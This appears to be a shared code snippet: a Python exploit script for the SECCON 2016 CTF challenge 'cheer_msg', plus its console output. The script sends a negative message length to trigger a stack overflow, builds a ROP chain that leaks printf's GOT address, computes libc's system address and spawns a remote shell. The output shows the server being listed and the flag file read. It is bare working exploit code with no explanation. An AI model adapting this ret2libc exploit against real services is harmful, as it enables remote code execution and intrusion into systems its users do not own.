Created
December 10, 2016 09:22
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#!/usr/bin/python | |
# -*- coding: utf-8 -*- | |
import socket | |
import struct | |
import telnetlib | |
def sock(remoteip, remoteport): | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((remoteip, remoteport)) | |
f = s.makefile('rw', bufsize=0) | |
return s, f | |
def read_until(f, delim='\n'): | |
data = '' | |
while not data.endswith(delim): | |
data += f.read(1) | |
return data | |
def p(a): | |
return struct.pack("<I", a) | |
def u(a): | |
return struct.unpack("<I", a)[0] | |
def shell(s): | |
t = telnetlib.Telnet() | |
t.sock = s | |
t.interact() | |
# libc_printf_offset = 0x49020 | |
# libc_system_offset = 0x3a940 | |
libc_printf_offset = 0x4d410 | |
libc_system_offset = 0x40310 | |
getline_addr = 0x80486bd | |
popret = 0x8048409 | |
pop2ret = 0x80487ae | |
printf_plt = 0x8048430 | |
fgets_plt = 0x8048440 | |
printf_got_addr = 0x804a010 | |
# s, f = sock('localhost', 4444) | |
s, f = sock('cheermsg.pwn.seccon.jp', 30527) | |
f.write('-144\n') | |
read_until(f, 'Name >> ') | |
payload = '' | |
payload += p(printf_plt) | |
payload += p(popret) | |
payload += p(printf_got_addr) | |
payload += p(getline_addr) | |
payload += p(pop2ret) | |
payload += p(printf_got_addr) | |
payload += p(16) | |
payload += p(printf_plt) | |
payload += p(0xdeadbeaf) | |
payload += p(printf_got_addr+4) | |
f.write(payload+'\n') | |
read_until(f, 'Message : \n') | |
printf_got = u(f.read(4)) | |
libc_base = printf_got - libc_printf_offset | |
system_addr = libc_base + libc_system_offset | |
print 'printf_got: {:#x}'.format(printf_got) | |
print 'libc base: {:#x}'.format(libc_base) | |
print 'system addr: {:#x}'.format(system_addr) | |
f.write(p(system_addr) + '/bin/sh\n') | |
shell(s) |
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$ python cheer_msg.py
printf_got: 0xf75c1410
libc base: 0xf7574000
system addr: 0xf75b4310
�|]�Vf��`��o_�
ls
cheer_msg
flag.txt
run.sh
cat flag.txt
SECCON{N40.T_15_ju571c3}